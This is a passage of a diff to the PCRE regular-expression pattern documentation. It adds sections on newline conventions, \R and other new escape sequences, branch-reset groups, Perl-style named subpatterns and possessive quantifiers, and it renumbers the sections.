+pattern matching is mentioned in several places below. There is also a summary
+of UTF-8 features in the
 <a href="pcre.html#utf8support">section on UTF-8 support</a>
 in the main
 <a href="pcre.html"><b>pcre</b></a>
@@ -59,12 +82,56 @@
 PCRE when its main matching function, <b>pcre_exec()</b>, is used.
 From release 6.0, PCRE offers a second matching function,
 <b>pcre_dfa_exec()</b>, which matches using a different algorithm that is not
-Perl-compatible. The advantages and disadvantages of the alternative function,
-and how it differs from the normal function, are discussed in the
+Perl-compatible. Some of the features discussed below are not available when
+<b>pcre_dfa_exec()</b> is used. The advantages and disadvantages of the
+alternative function, and how it differs from the normal function, are
+discussed in the
 <a href="pcrematching.html"><b>pcrematching</b></a>
 page.
 </P>
+<br><a name="SEC2" href="#TOC1">NEWLINE CONVENTIONS</a><br>
 <P>
+PCRE supports five different conventions for indicating line breaks in
+strings: a single CR (carriage return) character, a single LF (linefeed)
+character, the two-character sequence CRLF, any of the three preceding, or any
+Unicode newline sequence. The
+<a href="pcreapi.html"><b>pcreapi</b></a>
+page has
+<a href="pcreapi.html#newlines">further discussion</a>
+about newlines, and shows how to set the newline convention in the
+<i>options</i> arguments for the compiling and matching functions.
+</P>
+<P>
+It is also possible to specify a newline convention by starting a pattern
+string with one of the following five sequences:
+<pre>
+  (*CR)        carriage return
+  (*LF)        linefeed
+  (*CRLF)      carriage return, followed by linefeed
+  (*ANYCRLF)   any of the three above
+  (*ANY)       all Unicode newline sequences
+</pre>
+These override the default and the options given to <b>pcre_compile()</b>. For
+example, on a Unix system where LF is the default newline sequence, the pattern
+<pre>
+  (*CR)a.b
+</pre>
+changes the convention to CR. That pattern matches "a\nb" because LF is no
+longer a newline. Note that these special settings, which are not
+Perl-compatible, are recognized only at the very start of a pattern, and that
+they must be in upper case. If more than one of them is present, the last one
+is used.
+</P>
+<P>
+The newline convention does not affect what the \R escape sequence matches. By
+default, this is any Unicode newline sequence, for Perl compatibility. However,
+this can be changed; see the description of \R in the section entitled
+<a href="#newlineseq">"Newline sequences"</a>
+below. A change of \R setting can be combined with a change of newline
+convention.
+</P>
+<br><a name="SEC3" href="#TOC1">CHARACTERS AND METACHARACTERS</a><br>
+<P>
 A regular expression is a pattern that is matched against a subject string from
 left to right. Most characters stand for themselves in a pattern, and match the
 corresponding characters in the subject. As a trivial example, the pattern
@@ -90,8 +157,8 @@
 <P>
 There are two different sets of metacharacters: those that are recognized
 anywhere in the pattern except within square brackets, and those that are
-recognized in square brackets. Outside square brackets, the metacharacters are
-as follows:
+recognized within square brackets. Outside square brackets, the metacharacters
+are as follows:
 <pre>
   \      general escape character with several uses
   ^      assert start of string (or line, in multiline mode)
@@ -120,7 +187,7 @@
 </pre>
 The following sections describe the use of each of the metacharacters.
 </P>
-<br><a name="SEC2" href="#TOC1">BACKSLASH</a><br>
+<br><a name="SEC4" href="#TOC1">BACKSLASH</a><br>
 <P>
 The backslash character has several uses. Firstly, if it is followed by a
 non-alphanumeric character, it takes away any special meaning that character
@@ -169,7 +236,7 @@
   \cx       "control-x", where x is any character
   \e        escape (hex 1B)
   \f        formfeed (hex 0C)
-  \n        newline (hex 0A)
+  \n        linefeed (hex 0A)
   \r        carriage return (hex 0D)
   \t        tab (hex 09)
   \ddd      character with octal code ddd, or backreference
@@ -185,13 +252,17 @@
 After \x, from zero to two hexadecimal digits are read (letters can be in
 upper or lower case). Any number of hexadecimal digits may appear between \x{
 and }, but the value of the character code must be less than 256 in non-UTF-8
-mode, and less than 2**31 in UTF-8 mode (that is, the maximum hexadecimal value
-is 7FFFFFFF). If characters other than hexadecimal digits appear between \x{
-and }, or if there is no terminating }, this form of escape is not recognized.
-Instead, the initial \x will be interpreted as a basic hexadecimal escape,
-with no following digits, giving a character whose value is zero.
+mode, and less than 2**31 in UTF-8 mode. That is, the maximum value in
+hexadecimal is 7FFFFFFF. Note that this is bigger than the largest Unicode code
+point, which is 10FFFF.
 </P>
 <P>
+If characters other than hexadecimal digits appear between \x{ and }, or if
+there is no terminating }, this form of escape is not recognized. Instead, the
+initial \x will be interpreted as a basic hexadecimal escape, with no
+following digits, giving a character whose value is zero.
+</P>
+<P>
 Characters whose value is less than 256 can be defined by either of the two
 syntaxes for \x. There is no difference in the way they are handled. For
 example, \xdc is exactly the same as \x{dc}.
@@ -216,7 +287,7 @@
 <P>
 Inside a character class, or if the decimal number is greater than 9 and there
 have not been that many capturing subpatterns, PCRE re-reads up to three octal
-digits following the backslash, ane uses them to generate a data character. Any
+digits following the backslash, and uses them to generate a data character. Any
 subsequent digits stand for themselves. In non-UTF-8 mode, the value of a
 character specified in octal must be less than \400. In UTF-8 mode, values up
 to \777 are permitted. For example:
@@ -238,21 +309,48 @@
 All the sequences that define a single character value can be used both inside
 and outside character classes. In addition, inside a character class, the
 sequence \b is interpreted as the backspace character (hex 08), and the
-sequence \X is interpreted as the character "X". Outside a character class,
-these sequences have different meanings
+sequences \R and \X are interpreted as the characters "R" and "X",
+respectively. Outside a character class, these sequences have different
+meanings
 <a href="#uniextseq">(see below).</a>
 </P>
 <br><b>
+Absolute and relative back references
+</b><br>
+<P>
+The sequence \g followed by an unsigned or a negative number, optionally
+enclosed in braces, is an absolute or relative back reference. A named back
+reference can be coded as \g{name}. Back references are discussed
+<a href="#backreferences">later,</a>
+following the discussion of
+<a href="#subpattern">parenthesized subpatterns.</a>
+</P>
+<br><b>
+Absolute and relative subroutine calls
+</b><br>
+<P>
+For compatibility with Oniguruma, the non-Perl syntax \g followed by a name or
+a number enclosed either in angle brackets or single quotes, is an alternative
+syntax for referencing a subpattern as a "subroutine". Details are discussed
+<a href="#onigurumasubroutines">later.</a>
+Note that \g{...} (Perl syntax) and \g&#60;...&#62; (Oniguruma syntax) are <i>not</i>
+synonymous. The former is a back reference; the latter is a subroutine call.
+</P>
+<br><b>
 Generic character types
 </b><br>
 <P>
-The third use of backslash is for specifying generic character types. The
+Another use of backslash is for specifying generic character types. The
 following are always recognized:
 <pre>
   \d     any decimal digit
   \D     any character that is not a decimal digit
+  \h     any horizontal whitespace character
+  \H     any character that is not a horizontal whitespace character
   \s     any whitespace character
   \S     any character that is not a whitespace character
+  \v     any vertical whitespace character
+  \V     any character that is not a vertical whitespace character
   \w     any "word" character
   \W     any "non-word" character
 </pre>
@@ -268,11 +366,55 @@
 <P>
 For compatibility with Perl, \s does not match the VT character (code 11).
 This makes it different from the the POSIX "space" class. The \s characters
-are HT (9), LF (10), FF (12), CR (13), and space (32). (If "use locale;" is
+are HT (9), LF (10), FF (12), CR (13), and space (32). If "use locale;" is
 included in a Perl script, \s may match the VT character. In PCRE, it never
-does.)
+does.
 </P>
 <P>
+In UTF-8 mode, characters with values greater than 128 never match \d, \s, or
+\w, and always match \D, \S, and \W. This is true even when Unicode
+character property support is available. These sequences retain their original
+meanings from before UTF-8 support was available, mainly for efficiency
+reasons. Note that this also affects \b, because it is defined in terms of \w
+and \W.
+</P>
+<P>
+The sequences \h, \H, \v, and \V are Perl 5.10 features. In contrast to the
+other sequences, these do match certain high-valued codepoints in UTF-8 mode.
+The horizontal space characters are:
+<pre>
+  U+0009     Horizontal tab
+  U+0020     Space
+  U+00A0     Non-break space
+  U+1680     Ogham space mark
+  U+180E     Mongolian vowel separator
+  U+2000     En quad
+  U+2001     Em quad
+  U+2002     En space
+  U+2003     Em space
+  U+2004     Three-per-em space
+  U+2005     Four-per-em space
+  U+2006     Six-per-em space
+  U+2007     Figure space
+  U+2008     Punctuation space
+  U+2009     Thin space
+  U+200A     Hair space
+  U+202F     Narrow no-break space
+  U+205F     Medium mathematical space
+  U+3000     Ideographic space
+</pre>
+The vertical space characters are:
+<pre>
+  U+000A     Linefeed
+  U+000B     Vertical tab
+  U+000C     Formfeed
+  U+000D     Carriage return
+  U+0085     Next line
+  U+2028     Line separator
+  U+2029     Paragraph separator
+</PRE>
+</P>
+<P>
 A "word" character is an underscore or any character less than 256 that is a
 letter or digit. The definition of letters and digits is controlled by PCRE's
 low-valued character tables, and may vary if locale-specific matching is taking
@@ -280,22 +422,67 @@
 <a href="pcreapi.html#localesupport">"Locale support"</a>
 in the
 <a href="pcreapi.html"><b>pcreapi</b></a>
-page). For example, in the "fr_FR" (French) locale, some character codes
-greater than 128 are used for accented letters, and these are matched by \w.
+page). For example, in a French locale such as "fr_FR" in Unix-like systems,
+or "french" in Windows, some character codes greater than 128 are used for
+accented letters, and these are matched by \w. The use of locales with Unicode
+is discouraged.
+<a name="newlineseq"></a></P>
+<br><b>
+Newline sequences
+</b><br>
+<P>
+Outside a character class, by default, the escape sequence \R matches any
+Unicode newline sequence. This is a Perl 5.10 feature. In non-UTF-8 mode \R is
+equivalent to the following:
+<pre>
+  (?&#62;\r\n|\n|\x0b|\f|\r|\x85)
+</pre>
+This is an example of an "atomic group", details of which are given
+<a href="#atomicgroup">below.</a>
+This particular group matches either the two-character sequence CR followed by
+LF, or one of the single characters LF (linefeed, U+000A), VT (vertical tab,
+U+000B), FF (formfeed, U+000C), CR (carriage return, U+000D), or NEL (next
+line, U+0085). The two-character sequence is treated as a single unit that
+cannot be split.
 </P>
 <P>
-In UTF-8 mode, characters with values greater than 128 never match \d, \s, or
-\w, and always match \D, \S, and \W. This is true even when Unicode
-character property support is available. The use of locales with Unicode is
-discouraged.
+In UTF-8 mode, two additional characters whose codepoints are greater than 255
+are added: LS (line separator, U+2028) and PS (paragraph separator, U+2029).
+Unicode character property support is not needed for these characters to be
+recognized.
+</P>
+<P>
+It is possible to restrict \R to match only CR, LF, or CRLF (instead of the
+complete set of Unicode line endings) by setting the option PCRE_BSR_ANYCRLF
+either at compile time or when the pattern is matched. (BSR is an abbrevation
+for "backslash R".) This can be made the default when PCRE is built; if this is
+the case, the other behaviour can be requested via the PCRE_BSR_UNICODE option.
+It is also possible to specify these settings by starting a pattern string with
+one of the following sequences:
+<pre>
+  (*BSR_ANYCRLF)   CR, LF, or CRLF only
+  (*BSR_UNICODE)   any Unicode newline sequence
+</pre>
+These override the default and the options given to <b>pcre_compile()</b>, but
+they can be overridden by options given to <b>pcre_exec()</b>. Note that these
+special settings, which are not Perl-compatible, are recognized only at the
+very start of a pattern, and that they must be in upper case. If more than one
+of them is present, the last one is used. They can be combined with a change of
+newline convention, for example, a pattern can start with:
+<pre>
+  (*ANY)(*BSR_ANYCRLF)
+</pre>
+Inside a character class, \R matches the letter "R".
 <a name="uniextseq"></a></P>
 <br><b>
 Unicode character properties
 </b><br>
 <P>
 When PCRE is built with Unicode character property support, three additional
-escape sequences to match character properties are available when UTF-8 mode
-is selected. They are:
+escape sequences that match characters with specific properties are available.
+When not in UTF-8 mode, these sequences are of course limited to testing
+characters whose codepoints are less than 256, but they do work in this mode.
+The extra escape sequences are:
 <pre>
   \p{<i>xx</i>}   a character with the <i>xx</i> property
   \P{<i>xx</i>}   a character without the <i>xx</i> property
@@ -321,6 +508,7 @@
 <P>
 Arabic,
 Armenian,
+Balinese,
 Bengali,
 Bopomofo,
 Braille,
@@ -330,6 +518,7 @@
 Cherokee,
 Common,
 Coptic,
+Cuneiform,
 Cypriot,
 Cyrillic,
 Deseret,
@@ -359,11 +548,14 @@
 Mongolian,
 Myanmar,
 New_Tai_Lue,
+Nko,
 Ogham,
 Old_Italic,
 Old_Persian,
 Oriya,
 Osmanya,
+Phags_Pa,
+Phoenician,
 Runic,
 Shavian,
 Sinhala,
@@ -447,6 +639,14 @@
 a modifier or "other".
 </P>
 <P>
+The Cs (Surrogate) property applies only to characters in the range U+D800 to
+U+DFFF. Such characters are not valid in UTF-8 strings (see RFC 3629) and so
+cannot be tested by PCRE, unless UTF-8 validity checking has been turned off
+(see the discussion of PCRE_NO_UTF8_CHECK in the
+<a href="pcreapi.html"><b>pcreapi</b></a>
+page).
+</P>
+<P>
 The long synonyms for these properties that Perl supports (such as \p{Letter})
 are not supported by PCRE, nor is it permitted to prefix any of these
 properties with "Is".
@@ -471,19 +671,43 @@
 atomic group
 <a href="#atomicgroup">(see below).</a>
 Characters with the "mark" property are typically accents that affect the
-preceding character.
+preceding character. None of them have codepoints less than 256, so in
+non-UTF-8 mode \X matches any one character.
 </P>
 <P>
 Matching characters by Unicode property is not fast, because PCRE has to search
 a structure that contains data for over fifteen thousand characters. That is
 why the traditional escape sequences such as \d and \w do not use Unicode
 properties in PCRE.
+<a name="resetmatchstart"></a></P>
+<br><b>
+Resetting the match start
+</b><br>
+<P>
+The escape sequence \K, which is a Perl 5.10 feature, causes any previously
+matched characters not to be included in the final matched sequence. For
+example, the pattern:
+<pre>
+  foo\Kbar
+</pre>
+matches "foobar", but reports that it has matched "bar". This feature is
+similar to a lookbehind assertion
+<a href="#lookbehind">(described below).</a>
+However, in this case, the part of the subject before the real match does not
+have to be of fixed length, as lookbehind assertions do. The use of \K does
+not interfere with the setting of
+<a href="#subpattern">captured substrings.</a>
+For example, when the pattern
+<pre>
+  (foo)\Kbar
+</pre>
+matches "foobar", the first substring is still set to "foo".
 <a name="smallassertions"></a></P>
 <br><b>
 Simple assertions
 </b><br>
 <P>
-The fourth use of backslash is for certain simple assertions. An assertion
+The final use of backslash is for certain simple assertions. An assertion
 specifies a condition that has to be met at a particular point in a match,
 without consuming any characters from the subject string. The use of
 subpatterns for more complicated assertions is described
@@ -492,10 +716,11 @@
 <pre>
   \b     matches at a word boundary
   \B     matches when not at a word boundary
-  \A     matches at start of subject
-  \Z     matches at end of subject or before newline at end
-  \z     matches at end of subject
-  \G     matches at first matching position in subject
+  \A     matches at the start of the subject
+  \Z     matches at the end of the subject
+          also matches before a newline at the end of the subject
+  \z     matches only at the end of the subject
+  \G     matches at the first matching position in the subject
 </pre>
 These assertions may not appear in character classes (but note that \b has a
 different meaning, namely the backspace character, inside a character class).
@@ -538,7 +763,7 @@
 to the starting match position, and the "anchored" flag is set in the compiled
 regular expression.
 </P>
-<br><a name="SEC3" href="#TOC1">CIRCUMFLEX AND DOLLAR</a><br>
+<br><a name="SEC5" href="#TOC1">CIRCUMFLEX AND DOLLAR</a><br>
 <P>
 Outside a character class, in the default matching mode, the circumflex
 character is an assertion that is true only if the current matching point is
@@ -592,34 +817,39 @@
 end of the subject in both modes, and if all branches of a pattern start with
 \A it is always anchored, whether or not PCRE_MULTILINE is set.
 </P>
-<br><a name="SEC4" href="#TOC1">FULL STOP (PERIOD, DOT)</a><br>
+<br><a name="SEC6" href="#TOC1">FULL STOP (PERIOD, DOT)</a><br>
 <P>
 Outside a character class, a dot in the pattern matches any one character in
 the subject string except (by default) a character that signifies the end of a
-line. In UTF-8 mode, the matched character may be more than one byte long. When
-a line ending is defined as a single character (CR or LF), dot never matches
-that character; when the two-character sequence CRLF is used, dot does not
-match CR if it is immediately followed by LF, but otherwise it matches all
-characters (including isolated CRs and LFs).
+line. In UTF-8 mode, the matched character may be more than one byte long.
 </P>
 <P>
+When a line ending is defined as a single character, dot never matches that
+character; when the two-character sequence CRLF is used, dot does not match CR
+if it is immediately followed by LF, but otherwise it matches all characters
+(including isolated CRs and LFs). When any Unicode line endings are being
+recognized, dot does not match CR or LF or any of the other line ending
+characters.
+</P>
+<P>
 The behaviour of dot with regard to newlines can be changed. If the PCRE_DOTALL
-option is set, a dot matches any one character, without exception. If newline
-is defined as the two-character sequence CRLF, it takes two dots to match it.
+option is set, a dot matches any one character, without exception. If the
+two-character sequence CRLF is present in the subject string, it takes two dots
+to match it.
 </P>
 <P>
 The handling of dot is entirely independent of the handling of circumflex and
 dollar, the only relationship being that they both involve newlines. Dot has no
 special meaning in a character class.
 </P>
-<br><a name="SEC5" href="#TOC1">MATCHING A SINGLE BYTE</a><br>
+<br><a name="SEC7" href="#TOC1">MATCHING A SINGLE BYTE</a><br>
 <P>
 Outside a character class, the escape sequence \C matches any one byte, both
-in and out of UTF-8 mode. Unlike a dot, it always matches CR and LF. The
-feature is provided in Perl in order to match individual bytes in UTF-8 mode.
-Because it breaks up UTF-8 characters into individual bytes, what remains in
-the string may be a malformed UTF-8 string. For this reason, the \C escape
-sequence is best avoided.
+in and out of UTF-8 mode. Unlike a dot, it always matches any line-ending
+characters. The feature is provided in Perl in order to match individual bytes
+in UTF-8 mode. Because it breaks up UTF-8 characters into individual bytes,
+what remains in the string may be a malformed UTF-8 string. For this reason,
+the \C escape sequence is best avoided.
 </P>
 <P>
 PCRE does not allow \C to appear in lookbehind assertions
@@ -627,7 +857,7 @@
 because in UTF-8 mode this would make it impossible to calculate the length of
 the lookbehind.
 <a name="characterclass"></a></P>
-<br><a name="SEC6" href="#TOC1">SQUARE BRACKETS AND CHARACTER CLASSES</a><br>
+<br><a name="SEC8" href="#TOC1">SQUARE BRACKETS AND CHARACTER CLASSES</a><br>
 <P>
 An opening square bracket introduces a character class, terminated by a closing
 square bracket. A closing square bracket on its own is not special. If a
@@ -670,10 +900,10 @@
 UTF-8 support.
 </P>
 <P>
-Characters that might indicate line breaks (CR and LF) are never treated in any
-special way when matching character classes, whatever line-ending sequence is
-in use, and whatever setting of the PCRE_DOTALL and PCRE_MULTILINE options is
-used. A class such as [^a] always matches one of these characters.
+Characters that might indicate line breaks are never treated in any special way
+when matching character classes, whatever line-ending sequence is in use, and
+whatever setting of the PCRE_DOTALL and PCRE_MULTILINE options is used. A class
+such as [^a] always matches one of these characters.
 </P>
 <P>
 The minus (hyphen) character can be used to specify a range of characters in a
@@ -701,7 +931,7 @@
 If a range that includes letters is used when caseless matching is set, it
 matches the letters in either case. For example, [W-c] is equivalent to
 [][\\^_`wxyzabc], matched caselessly, and in non-UTF-8 mode, if character
-tables for the "fr_FR" locale are in use, [\xc8-\xcb] matches accented E
+tables for a French locale are in use, [\xc8-\xcb] matches accented E
 characters in both cases. In UTF-8 mode, PCRE supports the concept of case for
 characters with values greater than 128 only when it is compiled with Unicode
 property support.
@@ -722,7 +952,7 @@
 closing square bracket. However, escaping other non-alphanumeric characters
 does no harm.
 </P>
-<br><a name="SEC7" href="#TOC1">POSIX CHARACTER CLASSES</a><br>
+<br><a name="SEC9" href="#TOC1">POSIX CHARACTER CLASSES</a><br>
 <P>
 Perl supports the POSIX notation for character classes. This uses names
 enclosed by [: and :] within the enclosing square brackets. PCRE also supports
@@ -768,7 +998,7 @@
 In UTF-8 mode, characters with values greater than 128 do not match any of
 the POSIX character classes.
 </P>
-<br><a name="SEC8" href="#TOC1">VERTICAL BAR</a><br>
+<br><a name="SEC10" href="#TOC1">VERTICAL BAR</a><br>
 <P>
 Vertical bar characters are used to separate alternative patterns. For example,
 the pattern
@@ -783,11 +1013,12 @@
 "succeeds" means matching the rest of the main pattern as well as the
 alternative in the subpattern.
 </P>
-<br><a name="SEC9" href="#TOC1">INTERNAL OPTION SETTING</a><br>
+<br><a name="SEC11" href="#TOC1">INTERNAL OPTION SETTING</a><br>
 <P>
 The settings of the PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, and
-PCRE_EXTENDED options can be changed from within the pattern by a sequence of
-Perl option letters enclosed between "(?" and ")". The option letters are
+PCRE_EXTENDED options (which are Perl-compatible) can be changed from within
+the pattern by a sequence of Perl option letters enclosed between "(?" and ")".
+The option letters are
 <pre>
   i  for PCRE_CASELESS
   m  for PCRE_MULTILINE
@@ -802,15 +1033,20 @@
 unset.
 </P>
 <P>
-When an option change occurs at top level (that is, not inside subpattern
-parentheses), the change applies to the remainder of the pattern that follows.
-If the change is placed right at the start of a pattern, PCRE extracts it into
-the global options (and it will therefore show up in data extracted by the
-<b>pcre_fullinfo()</b> function).
+The PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and PCRE_EXTRA can be
+changed in the same way as the Perl-compatible options by using the characters
+J, U and X respectively.
 </P>
 <P>
-An option change within a subpattern affects only that part of the current
-pattern that follows it, so
+When one of these option changes occurs at top level (that is, not inside
+subpattern parentheses), the change applies to the remainder of the pattern
+that follows. If the change is placed right at the start of a pattern, PCRE
+extracts it into the global options (and it will therefore show up in data
+extracted by the <b>pcre_fullinfo()</b> function).
+</P>
+<P>
+An option change within a subpattern (see below for a description of
+subpatterns) affects only that part of the current pattern that follows it, so
 <pre>
   (a(?i)b)c
 </pre>
@@ -827,11 +1063,16 @@
 behaviour otherwise.
 </P>
 <P>
-The PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and PCRE_EXTRA can be
-changed in the same way as the Perl-compatible options by using the characters
-J, U and X respectively.
+<b>Note:</b> There are other PCRE-specific options that can be set by the
+application when the compile or match functions are called. In some cases the
+pattern can contain special leading sequences such as (*CRLF) to override what
+the application has set or what has been defaulted. Details are given in the
+section entitled
+<a href="#newlineseq">"Newline sequences"</a>
+above. There is also the (*UTF8) leading sequence that can be used to set UTF-8
+mode; this is equivalent to setting the PCRE_UTF8 option.
 <a name="subpattern"></a></P>
-<br><a name="SEC10" href="#TOC1">SUBPATTERNS</a><br>
+<br><a name="SEC12" href="#TOC1">SUBPATTERNS</a><br>
 <P>
 Subpatterns are delimited by parentheses (round brackets), which can be nested.
 Turning part of a pattern into a subpattern does two things:
@@ -842,7 +1083,7 @@
   cat(aract|erpillar|)
 </pre>
 matches one of the words "cat", "cataract", or "caterpillar". Without the
-parentheses, it would match "cataract", "erpillar" or the empty string.
+parentheses, it would match "cataract", "erpillar" or an empty string.
 <br>
 <br>
 2. It sets up the subpattern as a capturing subpattern. This means that, when
@@ -870,8 +1111,7 @@
   the ((?:red|white) (king|queen))
 </pre>
 the captured substrings are "white queen" and "queen", and are numbered 1 and
-2. The maximum number of capturing subpatterns is 65535, and the maximum depth
-of nesting of all subpatterns, both capturing and non-capturing, is 200.
+2. The maximum number of capturing subpatterns is 65535.
 </P>
 <P>
 As a convenient shorthand, if any option settings are required at the start of
@@ -886,13 +1126,50 @@
 is reached, an option setting in one branch does affect subsequent branches, so
 the above patterns match "SUNDAY" as well as "Saturday".
 </P>
-<br><a name="SEC11" href="#TOC1">NAMED SUBPATTERNS</a><br>
+<br><a name="SEC13" href="#TOC1">DUPLICATE SUBPATTERN NUMBERS</a><br>
 <P>
+Perl 5.10 introduced a feature whereby each alternative in a subpattern uses
+the same numbers for its capturing parentheses. Such a subpattern starts with
+(?| and is itself a non-capturing subpattern. For example, consider this
+pattern:
+<pre>
+  (?|(Sat)ur|(Sun))day
+</pre>
+Because the two alternatives are inside a (?| group, both sets of capturing
+parentheses are numbered one. Thus, when the pattern matches, you can look
+at captured substring number one, whichever alternative matched. This construct
+is useful when you want to capture part, but not all, of one of a number of
+alternatives. Inside a (?| group, parentheses are numbered as usual, but the
+number is reset at the start of each branch. The numbers of any capturing
+buffers that follow the subpattern start after the highest number used in any
+branch. The following example is taken from the Perl documentation.
+The numbers underneath show in which buffer the captured content will be
+stored.
+<pre>
+  # before  ---------------branch-reset----------- after
+  / ( a )  (?| x ( y ) z | (p (q) r) | (t) u (v) ) ( z ) /x
+  # 1            2         2  3        2     3     4
+</pre>
+A backreference or a recursive call to a numbered subpattern always refers to
+the first one in the pattern with the given number.
+</P>
+<P>
+An alternative approach to using this "branch reset" feature is to use
+duplicate named subpatterns, as described in the next section.
+</P>
+<br><a name="SEC14" href="#TOC1">NAMED SUBPATTERNS</a><br>
+<P>
 Identifying capturing parentheses by number is simple, but it can be very hard
 to keep track of the numbers in complicated regular expressions. Furthermore,
 if an expression is modified, the numbers may change. To help with this
-difficulty, PCRE supports the naming of subpatterns, something that Perl does
-not provide. The Python syntax (?P&#60;name&#62;...) is used. References to capturing
+difficulty, PCRE supports the naming of subpatterns. This feature was not
+added to Perl until release 5.10. Python had the feature earlier, and PCRE
+introduced it at release 4.0, using the Python syntax. PCRE now supports both
+the Perl and the Python syntax.
+</P>
+<P>
+In PCRE, a subpattern can be named in one of three ways: (?&#60;name&#62;...) or
+(?'name'...) as in Perl, or (?P&#60;name&#62;...) as in Python. References to capturing
 parentheses from other parts of the pattern, such as
 <a href="#backreferences">backreferences,</a>
 <a href="#recursion">recursion,</a>
@@ -902,10 +1179,10 @@
 </P>
 <P>
 Names consist of up to 32 alphanumeric characters and underscores. Named
-capturing parentheses are still allocated numbers as well as names. The PCRE
-API provides function calls for extracting the name-to-number translation table
-from a compiled pattern. There is also a convenience function for extracting a
-captured substring by name.
+capturing parentheses are still allocated numbers as well as names, exactly as
+if the names were not present. The PCRE API provides function calls for
+extracting the name-to-number translation table from a compiled pattern. There
+is also a convenience function for extracting a captured substring by name.
 </P>
 <P>
 By default, a name must be unique within a pattern, but it is possible to relax
@@ -915,15 +1192,19 @@
 abbreviation or as the full name, and in both cases you want to extract the
 abbreviation. This pattern (ignoring the line breaks) does the job:
 <pre>
-  (?P&#60;DN&#62;Mon|Fri|Sun)(?:day)?|
-  (?P&#60;DN&#62;Tue)(?:sday)?|
-  (?P&#60;DN&#62;Wed)(?:nesday)?|
-  (?P&#60;DN&#62;Thu)(?:rsday)?|
-  (?P&#60;DN&#62;Sat)(?:urday)?
+  (?&#60;DN&#62;Mon|Fri|Sun)(?:day)?|
+  (?&#60;DN&#62;Tue)(?:sday)?|
+  (?&#60;DN&#62;Wed)(?:nesday)?|
+  (?&#60;DN&#62;Thu)(?:rsday)?|
+  (?&#60;DN&#62;Sat)(?:urday)?
 </pre>
 There are five capturing substrings, but only one is ever set after a match.
+(An alternative way of solving this problem is to use a "branch reset"
+subpattern, as described in the previous section.)
+</P>
+<P>
 The convenience function for extracting the data by name returns the substring
-for the first, and in this example, the only, subpattern of that name that
+for the first (and in this example, the only) subpattern of that name that
 matched. This saves searching to find which numbered subpattern it was. If you
 make a reference to a non-unique named subpattern from elsewhere in the
 pattern, the one that corresponds to the lowest number is used. For further
@@ -931,15 +1212,21 @@
 <a href="pcreapi.html"><b>pcreapi</b></a>
 documentation.
 </P>
-<br><a name="SEC12" href="#TOC1">REPETITION</a><br>
 <P>
+<b>Warning:</b> You cannot use different names to distinguish between two
+subpatterns with the same number (see the previous section) because PCRE uses
+only the numbers when matching.
+</P>
+<br><a name="SEC15" href="#TOC1">REPETITION</a><br>
+<P>
 Repetition is specified by quantifiers, which can follow any of the following
 items:
 <pre>
   a literal data character
-  the . metacharacter
+  the dot metacharacter
   the \C escape sequence
   the \X escape sequence (in UTF-8 mode with Unicode properties)
+  the \R escape sequence
   an escape such as \d that matches a single character
   a character class
   a back reference (see next section)
@@ -977,11 +1264,15 @@
 </P>
 <P>
 The quantifier {0} is permitted, causing the expression to behave as if the
-previous item and the quantifier were not present.
+previous item and the quantifier were not present. This may be useful for
+subpatterns that are referenced as
+<a href="#subpatternsassubroutines">subroutines</a>
+from elsewhere in the pattern. Items other than subpatterns that have a {0}
+quantifier are omitted from the compiled pattern.
 </P>
 <P>
-For convenience (and historical compatibility) the three most common
-quantifiers have single-character abbreviations:
+For convenience, the three most common quantifiers have single-character
+abbreviations:
 <pre>
   *    is equivalent to {0,}
   +    is equivalent to {1,}
@@ -1032,7 +1323,7 @@
 way the rest of the pattern matches.
 </P>
 <P>
-If the PCRE_UNGREEDY option is set (an option which is not available in Perl),
+If the PCRE_UNGREEDY option is set (an option that is not available in Perl),
 the quantifiers are not greedy by default, but individual ones can be made
 greedy by following them with a question mark. In other words, it inverts the
 default behaviour.
@@ -1044,7 +1335,7 @@
 </P>
 <P>
 If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equivalent
-to Perl's /s) is set, thus allowing the . to match newlines, the pattern is
+to Perl's /s) is set, thus allowing the dot to match newlines, the pattern is
 implicitly anchored, because whatever follows will be tried against every
 character position in the subject string, so there is no point in retrying the
 overall match at any position after the first. PCRE normally treats such a
@@ -1058,8 +1349,8 @@
 <P>
 However, there is one situation where the optimization cannot be used. When .*
 is inside capturing parentheses that are the subject of a backreference
-elsewhere in the pattern, a match at the start may fail, and a later one
-succeed. Consider, for example:
+elsewhere in the pattern, a match at the start may fail where a later one
+succeeds. Consider, for example:
 <pre>
   (.*)abc\1
 </pre>
@@ -1081,14 +1372,14 @@
 </pre>
 matches "aba" the value of the second captured substring is "b".
 <a name="atomicgroup"></a></P>
-<br><a name="SEC13" href="#TOC1">ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS</a><br>
+<br><a name="SEC16" href="#TOC1">ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS</a><br>
 <P>
-With both maximizing and minimizing repetition, failure of what follows
-normally causes the repeated item to be re-evaluated to see if a different
-number of repeats allows the rest of the pattern to match. Sometimes it is
-useful to prevent this, either to change the nature of the match, or to cause
-it fail earlier than it otherwise might, when the author of the pattern knows
-there is no point in carrying on.
+With both maximizing ("greedy") and minimizing ("ungreedy" or "lazy")
+repetition, failure of what follows normally causes the repeated item to be
+re-evaluated to see if a different number of repeats allows the rest of the
+pattern to match. Sometimes it is useful to prevent this, either to change the
+nature of the match, or to cause it fail earlier than it otherwise might, when
+the author of the pattern knows there is no point in carrying on.
 </P>
 <P>
 Consider, for example, the pattern \d+foo when applied to the subject line
@@ -1102,7 +1393,7 @@
 that once a subpattern has matched, it is not to be re-evaluated in this way.
 </P>
 <P>
-If we use atomic grouping for the previous example, the matcher would give up
+If we use atomic grouping for the previous example, the matcher gives up
 immediately on failing to match "foo" the first time. The notation is a kind of
 special parenthesis, starting with (?&#62; as in this example:
 <pre>
@@ -1135,18 +1426,30 @@
 <pre>
   \d++foo
 </pre>
+Note that a possessive quantifier can be used with an entire group, for
+example:
+<pre>
+  (abc|xyz){2,3}+
+</pre>
 Possessive quantifiers are always greedy; the setting of the PCRE_UNGREEDY
 option is ignored. They are a convenient notation for the simpler forms of
-atomic group. However, there is no difference in the meaning or processing of a
-possessive quantifier and the equivalent atomic group.
+atomic group. However, there is no difference in the meaning of a possessive
+quantifier and the equivalent atomic group, though there may be a performance
+difference; possessive quantifiers should be slightly faster.
 </P>
 <P>
-The possessive quantifier syntax is an extension to the Perl syntax. Jeffrey
-Friedl originated the idea (and the name) in the first edition of his book.
